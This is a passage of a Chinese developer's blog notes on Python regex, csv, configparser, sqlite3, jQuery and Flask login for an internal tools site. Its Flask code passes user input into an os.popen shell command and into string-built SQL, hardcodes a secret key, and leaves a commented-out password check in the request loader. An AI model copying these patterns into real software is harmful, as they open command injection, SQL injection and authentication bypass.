<span class="k">print</span><span class="p">(</span><span class="s">"No match!!"</span><span class="p">)</span>
<span class="n">matchObj</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">r'Google'</span><span class="p">,</span> <span class="n">line</span><span class="p">,</span> <span class="n">re</span><span class="p">.</span><span class="n">M</span> <span class="o">|</span> <span class="n">re</span><span class="p">.</span><span class="n">I</span><span class="p">)</span>
<span class="k">if</span> <span class="n">matchObj</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"search --> matchObj.group() : "</span><span class="p">,</span> <span class="n">matchObj</span><span class="p">.</span><span class="n">group</span><span class="p">())</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"No match!!"</span><span class="p">)</span>
<span class="c1"># No match!!
# search --> matchObj.group() : Google</span></code></pre></figure>
<h2 id="python-正则字典">Python 正则字典</h2>
<p>最后, 贴一张 Python 支持的表达式元字符:</p>
<p><img src="https://os.alipayobjects.com/rmsportal/ihsauIOELCncGuA.png" alt="x" /></p>
近期笔记
2015-11-04T00:00:00+00:00
http://fish267.github.io/2015/11/04/project-notes
<p><a href="http://bktools.mayibank.net">网商工具平台</a> 将近期Coding时需要谷歌的点,记录一下,主要是 Python Flask Jquery 方面</p>
<h2 id="python">Python</h2>
<h3 id="python-正则">Python 正则</h3>
<p>Python 自1.5版本起增加了re 模块,它提供 Perl 风格的正则表达式模式。</p>
<h4 id="正则表达式实例">正则表达式实例</h4>
<ol>
<li>字符类</li>
</ol>
<table>
<thead>
<tr>
<th>实例</th>
<th style="text-align: right">描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>[Pp]ython</td>
<td style="text-align: right">匹配 “Python” 或 “python”</td>
</tr>
<tr>
<td>rub[ye]</td>
<td style="text-align: right">匹配 “ruby” 或 “rube”</td>
</tr>
<tr>
<td>[aeiou]</td>
<td style="text-align: right">匹配中括号内的任意一个字母</td>
</tr>
<tr>
<td>[0-9]</td>
<td style="text-align: right">匹配任何数字。类似于 [0123456789]</td>
</tr>
<tr>
<td>[a-z]</td>
<td style="text-align: right">匹配任何小写字母</td>
</tr>
<tr>
<td>[A-Z]</td>
<td style="text-align: right">匹配任何大写字母</td>
</tr>
<tr>
<td>[a-zA-Z0-9]</td>
<td style="text-align: right">匹配任何字母及数字</td>
</tr>
<tr>
<td>[^aeiou]</td>
<td style="text-align: right">除了aeiou字母以外的所有字符</td>
</tr>
<tr>
<td>[^0-9]</td>
<td style="text-align: right">匹配除了数字外的字符</td>
</tr>
</tbody>
</table>
<ol>
<li>特殊字符类</li>
</ol>
<table>
<thead>
<tr>
<th>实例</th>
<th style="text-align: right">描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>.</td>
<td style="text-align: right">匹配除 “\n” 之外的任何单个字符。要匹配包括 ‘\n’ 在内的任何字符,请使用象 ‘[.\n]’ 的模式</td>
</tr>
<tr>
<td>\d</td>
<td style="text-align: right">匹配一个数字字符。等价于 [0-9]</td>
</tr>
<tr>
<td>\D</td>
<td style="text-align: right">匹配一个非数字字符。等价于 [^0-9]</td>
</tr>
<tr>
<td>\s</td>
<td style="text-align: right">匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]</td>
</tr>
<tr>
<td>\S</td>
<td style="text-align: right">匹配任何非空白字符。等价于 [^ \f\n\r\t\v]</td>
</tr>
<tr>
<td>\w</td>
<td style="text-align: right">匹配包括下划线的任何单词字符。等价于’[A-Za-z0-9_]’</td>
</tr>
<tr>
<td>\W 匹配任何非单词字符。等价于 ‘[^A-Za-z0-9_]’</td>
<td style="text-align: right"> </td>
</tr>
</tbody>
</table>
<h4 id="rematch--research">re.match && re.search</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>re.match(pattern, string, flags=0)
re.search(pattern, string, flags=0)
</code></pre></div></div>
<!--more-->
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">re</span>
<span class="n">line</span> <span class="o">=</span> <span class="s">'Doge is a friend of mine and we are good friends.'</span>
<span class="n">dog</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'friend'</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">dog</span><span class="p">.</span><span class="n">group</span><span class="p">())</span>
<span class="n">dogs</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">r'(.*) and (.*)'</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">dogs</span><span class="p">.</span><span class="n">groups</span><span class="p">())</span>
<span class="n">cat</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">match</span><span class="p">(</span><span class="s">'Doge'</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">cat</span><span class="p">.</span><span class="n">group</span><span class="p">())</span>
<span class="n">cats</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">match</span><span class="p">(</span><span class="s">r'(.*) are (.*)'</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">cats</span><span class="p">.</span><span class="n">groups</span><span class="p">())</span></code></pre></figure>
<p>output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>friend
('Doge is a friend of mine', 'we are good friends.')
Doge
('Doge is a friend of mine and we', 'good friends.')
</code></pre></div></div>
<p>re.match只匹配字符串的开始,如果字符串开始不符合正则表达式,则匹配失败,函数返回None;而re.search匹配整个字符串,直到找到一个匹配。</p>
<h3 id="csv">csv</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csv.reader(csvfile, dialect='excel', **fmtparams)
</code></pre></div></div>
<p>按列读取CSV文件,返回值当做一个大list</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="o">>>></span> <span class="kn">import</span> <span class="nn">csv</span><span class="p">,</span> <span class="n">os</span>
<span class="o">>>></span> <span class="n">os</span><span class="p">.</span><span class="n">chdir</span><span class="p">(</span><span class="s">'/Users/fish/Git/test/'</span><span class="p">)</span>
<span class="o">>>></span> <span class="n">content</span> <span class="o">=</span> <span class="n">csv</span><span class="p">.</span><span class="n">reader</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">'test.csv'</span><span class="p">,</span> <span class="n">encoding</span> <span class="o">=</span> <span class="s">'utf-8'</span><span class="p">))</span>
<span class="o">>>></span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">content</span><span class="p">:</span>
<span class="p">...</span> <span class="k">print</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
<span class="p">...</span>
<span class="p">[</span><span class="s">'GREAL'</span><span class="p">,</span> <span class="s">'Great Lakes Food Market'</span><span class="p">,</span> <span class="s">'Howard Snyder'</span><span class="p">,</span> <span class="s">'Marketing Manager'</span><span class="p">,</span> <span class="s">'(503) 555-7555'</span><span class="p">,</span> <span class="s">'2732 Baker Blvd.'</span><span class="p">,</span> <span class="s">'Eugene'</span><span class="p">,</span> <span class="s">'OR'</span><span class="p">,</span> <span class="s">'97403'</span><span class="p">,</span> <span class="s">'USA'</span><span class="p">]</span>
<span class="p">[</span><span class="s">'HUNGC'</span><span class="p">,</span> <span class="s">'Hungry Coyote Import Store'</span><span class="p">,</span> <span class="s">'Yoshi Latimer'</span><span class="p">,</span> <span class="s">'Sales Representative'</span><span class="p">,</span> <span class="s">'(503) 555-6874'</span><span class="p">,</span> <span class="s">'City Center Plaza 516 Main St.'</span><span class="p">,</span> <span class="s">'Elgin'</span><span class="p">,</span> <span class="s">'OR'</span><span class="p">,</span> <span class="s">'97827'</span><span class="p">,</span> <span class="s">'USA'</span><span class="p">]</span>
<span class="p">[</span><span class="s">'LAZYK'</span><span class="p">,</span> <span class="s">'Lazy K Kountry Store'</span><span class="p">,</span> <span class="s">'John Steel'</span><span class="p">,</span> <span class="s">'Marketing Manager'</span><span class="p">,</span> <span class="s">'(509) 555-7969'</span><span class="p">,</span> <span class="s">'12 Orchestra Terrace'</span><span class="p">,</span> <span class="s">'Walla Walla'</span><span class="p">,</span> <span class="s">'WA'</span><span class="p">,</span> <span class="s">'99362'</span><span class="p">,</span> <span class="s">'USA'</span><span class="p">]</span>
<span class="p">[</span><span class="s">'LETSS'</span><span class="p">,</span> <span class="s">"Let's Stop N Shop"</span><span class="p">,</span> <span class="s">'Jaime Yorres'</span><span class="p">,</span> <span class="s">'Owner'</span><span class="p">,</span> <span class="s">'(415) 555-5938'</span><span class="p">,</span> <span class="s">'87 Polk St. Suite 5'</span><span class="p">,</span> <span class="s">'San Francisco'</span><span class="p">,</span> <span class="s">'CA'</span><span class="p">,</span> <span class="s">'94117'</span><span class="p">,</span> <span class="s">'USA'</span><span class="p">]</span></code></pre></figure>
<h3 id="config">config</h3>
<p>和csv不同,一般系统的配置文件就是 K-V 表,python 中用 configparser 模块来处理。
比如系统system.config 文件如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[dev]
traceid=sh /home/log/tools/traceidCheck/whereru.sh
sql=sh /home/log/tools/traceidCheck/exeSql.sh
traceidQuick=sh /home/log/tools/traceidCheck/whereru_fast.sh on
[test]
sit_status = cat /Users/fish/Git/test/sit.txt
system_detail = cat /Users/fish/Git/test/dec.py
</code></pre></div></div>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">class</span> <span class="nc">Config</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">path</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">config</span> <span class="o">=</span> <span class="n">configparser</span><span class="p">.</span><span class="n">ConfigParser</span><span class="p">()</span>
<span class="bp">self</span><span class="p">.</span><span class="n">config</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="n">path</span> <span class="o">+</span> <span class="s">'/config/command.config'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">get_config</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">session</span><span class="p">,</span> <span class="n">name</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">config</span><span class="p">[</span><span class="n">session</span><span class="p">][</span><span class="n">name</span><span class="p">]</span></code></pre></figure>
<p>比如要获取 dev 配置下 sql 命令对应的 value, 用 config[‘dev’][‘sql’] 来获取。</p>
<h3 id="database-sqlite3">Database sqlite3</h3>
<p>python 自带了个 “DB”, sqlite3 中的 DB 其实就是个支持 sql 命令的小文件。 和 PHP 等其他语言连接 DB 差不多,有个 “游标” 的概念。简单操作如下:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="k">class</span> <span class="nc">DB</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="nb">file</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">db</span><span class="o">=</span> <span class="nb">file</span>
<span class="k">def</span> <span class="nf">executeDB</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">sql</span><span class="p">):</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">db</span><span class="p">)</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Executing command: '</span> <span class="o">+</span> <span class="n">sql</span><span class="p">)</span>
<span class="n">cur</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">sql</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
<span class="n">output</span> <span class="o">=</span> <span class="n">cur</span><span class="p">.</span><span class="n">fetchall</span><span class="p">()</span>
<span class="k">return</span> <span class="n">output</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Error executing sql: %s'</span> <span class="o">%</span> <span class="n">sql</span><span class="p">)</span></code></pre></figure>
<h2 id="bootstrap">Bootstrap</h2>
<h2 id="jquery">Jquery</h2>
<h3 id="元素选取">元素选取:</h3>
<ol>
<li>直接选取 <code>$('div')</code></li>
<li>#id 选择 <code>$('#divid')</code></li>
<li>.class 选择 <code>$('.active')</code></li>
<li>复杂的 <code>$("p.intro")</code> <code>$("p:first")</code>
<code> $('#serverTable tr');</code>
<h3 id="事件操作">事件操作</h3>
</li>
</ol>
<p>用的最多的还是 <code>$('#id').click(...)</code></p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">#executeButton</span><span class="dl">"</span><span class="p">).</span><span class="nx">click</span><span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
<span class="nx">$</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">"</span><span class="s2">/submitExecute</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span><span class="na">cmd</span><span class="p">:</span> <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">#executeCmd</span><span class="dl">'</span><span class="p">).</span><span class="nx">val</span><span class="p">()},</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">#textOutput</span><span class="dl">'</span><span class="p">).</span><span class="nx">text</span><span class="p">(</span><span class="nx">data</span><span class="p">[</span><span class="dl">'</span><span class="s1">contents</span><span class="dl">'</span><span class="p">]);</span>
<span class="p">})</span>
<span class="p">});</span></code></pre></figure>
<p>常见 DOM 事件:</p>
<table>
<thead>
<tr>
<th>鼠标事件</th>
<th style="text-align: right">键盘事件</th>
<th style="text-align: right">表单事件</th>
<th style="text-align: center">文档/窗口事件</th>
</tr>
</thead>
<tbody>
<tr>
<td>click</td>
<td style="text-align: right">keypress</td>
<td style="text-align: right">submit</td>
<td style="text-align: center">load</td>
</tr>
<tr>
<td>dblclick</td>
<td style="text-align: right">keydown</td>
<td style="text-align: right">change</td>
<td style="text-align: center">resize</td>
</tr>
<tr>
<td>mouseenter</td>
<td style="text-align: right">keyup</td>
<td style="text-align: right">focus</td>
<td style="text-align: center">scroll</td>
</tr>
<tr>
<td>mouseleave</td>
<td style="text-align: right">blur</td>
<td style="text-align: right"> </td>
<td style="text-align: center">unload</td>
</tr>
</tbody>
</table>
<h3 id="元素绑定回车">元素绑定回车</h3>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">#executeCmd</span><span class="dl">'</span><span class="p">).</span><span class="nx">bind</span><span class="p">(</span><span class="dl">'</span><span class="s1">keyup</span><span class="dl">'</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">event</span><span class="p">.</span><span class="nx">keyCode</span> <span class="o">==</span> <span class="dl">"</span><span class="s2">13</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">#executeButton</span><span class="dl">'</span><span class="p">).</span><span class="nx">click</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">});</span></code></pre></figure>
<h3 id="ajax">Ajax</h3>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">#register</span><span class="dl">'</span><span class="p">).</span><span class="nx">click</span><span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
<span class="nx">$</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/register</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span><span class="na">username</span><span class="p">:</span> <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">#username</span><span class="dl">'</span><span class="p">).</span><span class="nx">val</span><span class="p">(),</span> <span class="na">password</span><span class="p">:</span> <span class="nx">$</span><span class="p">(</span><span class="dl">'</span><span class="s1">#password</span><span class="dl">'</span><span class="p">).</span><span class="nx">val</span><span class="p">()},</span>
<span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">alert</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">reload</span><span class="p">();</span>
<span class="p">});</span>
<span class="p">});</span></code></pre></figure>
<h3 id="获取页面cookie">获取页面Cookie</h3>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="kd">function</span> <span class="nx">getCookie</span><span class="p">(</span><span class="nx">c_name</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">.</span><span class="nx">length</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">c_start</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="nx">c_name</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">=</span><span class="dl">"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">c_start</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">c_start</span> <span class="o">=</span> <span class="nx">c_start</span> <span class="o">+</span> <span class="nx">c_name</span><span class="p">.</span><span class="nx">length</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">c_end</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="dl">"</span><span class="s2">;</span><span class="dl">"</span><span class="p">,</span> <span class="nx">c_start</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">c_end</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="nx">c_end</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">unescape</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="nx">c_start</span><span class="p">,</span> <span class="nx">c_end</span><span class="p">))</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="dl">""</span>
<span class="p">}</span></code></pre></figure>
<h3 id="链路图-gojs">链路图 Gojs</h3>
<h3 id="画大饼图--achart">画大饼图 Achart</h3>
<h3 id="其他">其他</h3>
<ul>
<li>页面刷新 <code> window.location.reload()</code></li>
<li>添加class <code>$('#id').addClass('active')</code></li>
<li>改变值 <code>$('#id').text('xxxx')</code></li>
<li><a>改变href <code>$('#a').href('/')</code></a></li>
<li>显示、隐藏 <code>$('#id').hide() $('#id').show()</code></li>
</ul>
<h2 id="flask">Flask</h2>
<h3 id="jinja2">Jinja2</h3>
<p>中用于获取 py 文件传过来的值, , 是比较常用的属性。其实前端界面比较繁琐,需要一步步调试出来。</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"></code></pre></figure>
<h3 id="flask_login">flask_login</h3>
<p>账户系统,需要 <code>pip install flask_login</code> 来利用这个模块,非常方便。</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">flask.ext.login</span> <span class="k">as</span> <span class="n">flask_login</span>
<span class="n">login_manager</span> <span class="o">=</span> <span class="n">flask_login</span><span class="p">.</span><span class="n">LoginManager</span><span class="p">()</span>
<span class="n">login_manager</span><span class="p">.</span><span class="n">init_app</span><span class="p">(</span><span class="n">app</span><span class="p">)</span>
<span class="n">app</span><span class="p">.</span><span class="n">secret_key</span> <span class="o">=</span> <span class="s">'super secret string'</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/login'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">login</span><span class="p">():</span>
<span class="n">users</span> <span class="o">=</span> <span class="n">getUsers</span><span class="p">(</span><span class="n">app</span><span class="p">.</span><span class="n">root_path</span> <span class="o">+</span> <span class="s">'/script/bank.db'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">flask</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'GET'</span><span class="p">:</span>
<span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">flag</span><span class="o">=</span><span class="s">'false'</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">username</span> <span class="o">=</span> <span class="n">flask</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
<span class="k">if</span> <span class="n">flask</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span> <span class="o">==</span> <span class="n">users</span><span class="p">[</span><span class="n">username</span><span class="p">]:</span>
<span class="n">user</span> <span class="o">=</span> <span class="n">User</span><span class="p">()</span>
<span class="n">user</span><span class="p">.</span><span class="nb">id</span> <span class="o">=</span> <span class="n">username</span>
<span class="n">flask_login</span><span class="p">.</span><span class="n">login_user</span><span class="p">(</span><span class="n">user</span><span class="p">,</span> <span class="n">remember</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="k">return</span> <span class="n">flask</span><span class="p">.</span><span class="n">redirect</span><span class="p">(</span><span class="n">flask</span><span class="p">.</span><span class="n">url_for</span><span class="p">(</span><span class="s">'sql'</span><span class="p">))</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">flag</span><span class="o">=</span><span class="s">'true'</span><span class="p">)</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">,</span> <span class="n">flag</span><span class="o">=</span><span class="s">'true'</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">User</span><span class="p">(</span><span class="n">flask_login</span><span class="p">.</span><span class="n">UserMixin</span><span class="p">):</span>
<span class="k">pass</span>
<span class="o">@</span><span class="n">login_manager</span><span class="p">.</span><span class="n">user_loader</span>
<span class="k">def</span> <span class="nf">user_loader</span><span class="p">(</span><span class="n">username</span><span class="p">):</span>
<span class="k">if</span> <span class="n">username</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">users</span><span class="p">:</span>
<span class="k">return</span>
<span class="n">user</span> <span class="o">=</span> <span class="n">User</span><span class="p">()</span>
<span class="n">user</span><span class="p">.</span><span class="nb">id</span> <span class="o">=</span> <span class="n">username</span>
<span class="k">return</span> <span class="n">user</span>
<span class="o">@</span><span class="n">login_manager</span><span class="p">.</span><span class="n">request_loader</span>
<span class="k">def</span> <span class="nf">request_loader</span><span class="p">(</span><span class="n">request</span><span class="p">):</span>
<span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'username'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">username</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">users</span><span class="p">:</span>
<span class="k">return</span>
<span class="n">user</span> <span class="o">=</span> <span class="n">User</span><span class="p">()</span>
<span class="n">user</span><span class="p">.</span><span class="nb">id</span> <span class="o">=</span> <span class="n">username</span>
<span class="c1"># user.is_authenticated = request.form['password'] == users[username]
</span>
<span class="k">return</span> <span class="n">user</span>
<span class="o">@</span><span class="n">login_manager</span><span class="p">.</span><span class="n">unauthorized_handler</span>
<span class="k">def</span> <span class="nf">unauthorized_handler</span><span class="p">():</span>
<span class="k">return</span> <span class="n">flask</span><span class="p">.</span><span class="n">redirect</span><span class="p">(</span><span class="n">flask</span><span class="p">.</span><span class="n">url_for</span><span class="p">(</span><span class="s">'login'</span><span class="p">))</span></code></pre></figure>
<p>在需要账户登录的界面, 添加 <code>@flask_login.login_required</code></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/sql'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'get'</span><span class="p">,</span> <span class="s">'post'</span><span class="p">])</span>
<span class="o">@</span><span class="n">flask_login</span><span class="p">.</span><span class="n">login_required</span>
<span class="k">def</span> <span class="nf">sql</span><span class="p">():</span>
<span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>
<span class="n">traceid</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'traceid'</span><span class="p">]</span>
<span class="n">username</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
<span class="n">gmt</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">ctime</span><span class="p">()</span>
<span class="c1"># filter sql, delete/select is not allowed
</span> <span class="k">if</span> <span class="s">'delete'</span> <span class="ow">in</span> <span class="n">traceid</span><span class="p">:</span>
<span class="n">output</span> <span class="o">=</span> <span class="p">{</span><span class="s">'contents'</span><span class="p">:</span> <span class="s">'只能执行update/select命令'</span><span class="p">}</span>
<span class="k">return</span> <span class="n">jsonify</span><span class="p">(</span><span class="n">output</span><span class="p">)</span>
<span class="c1"># get system command on file command.config
</span> <span class="n">config</span> <span class="o">=</span> <span class="n">Config</span><span class="p">(</span><span class="n">app</span><span class="p">.</span><span class="n">root_path</span><span class="p">)</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="n">config</span><span class="p">.</span><span class="n">get_config</span><span class="p">(</span><span class="s">'default'</span><span class="p">,</span> <span class="s">'sql'</span><span class="p">)</span> <span class="o">+</span> <span class="s">' "'</span> <span class="o">+</span> <span class="n">traceid</span> <span class="o">+</span> <span class="s">'"'</span>
<span class="k">print</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="n">output</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">popen</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="c1"># write sql to db
</span> <span class="n">db</span> <span class="o">=</span> <span class="n">DB</span><span class="p">(</span><span class="n">app</span><span class="p">.</span><span class="n">root_path</span> <span class="o">+</span> <span class="s">'/script/bank.db'</span><span class="p">)</span>
<span class="n">db</span><span class="p">.</span><span class="n">executeDB</span><span class="p">(</span><span class="s">'insert into sqlHistory values("%s", "%s", "%s")'</span> <span class="o">%</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">traceid</span><span class="p">,</span> <span class="n">gmt</span><span class="p">))</span>
<span class="n">output</span> <span class="o">=</span> <span class="p">{</span><span class="s">'contents'</span><span class="p">:</span> <span class="n">output</span><span class="p">.</span><span class="n">read</span><span class="p">()}</span>
<span class="k">return</span> <span class="n">jsonify</span><span class="p">(</span><span class="n">output</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">db</span> <span class="o">=</span> <span class="n">DB</span><span class="p">(</span><span class="n">app</span><span class="p">.</span><span class="n">root_path</span> <span class="o">+</span> <span class="s">'/script/bank.db'</span><span class="p">)</span>
<span class="n">sqlHistory</span> <span class="o">=</span> <span class="n">db</span><span class="p">.</span><span class="n">executeDB</span><span class="p">(</span><span class="s">'select * from sqlHistory order by gmt_modified desc limit 50'</span><span class="p">)</span>
<span class="n">output</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">sql</span> <span class="ow">in</span> <span class="n">sqlHistory</span><span class="p">:</span>
<span class="n">output</span> <span class="o">=</span> <span class="n">output</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">sql</span><span class="p">)[</span><span class="mi">1</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s">'</span><span class="se">\n</span><span class="s">'</span>
<span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'sql.html'</span><span class="p">,</span> <span class="n">sqlHistory</span><span class="o">=</span><span class="n">output</span><span class="p">)</span></code></pre></figure>
<h1 id="参考资料">参考资料</h1>
<p><a href="http://www.runoob.com/bootstrap/bootstrap-tutorial.html">Bootstrap</a></p>
<p><a href="http://flask.pocoo.org">Flask 文档</a></p>
<p><a href="http://builive.com">BUI 官网</a></p>
<p><a href="http://www.nwoods.com">Gojs 官网</a></p>
Python Notes
2015-09-28T00:00:00+00:00
http://fish267.github.io/2015/09/28/python-notes
<p>本文内容来自,慕课网廖老师 Python 课程,地址: http://www.imooc.com/learn/317</p>
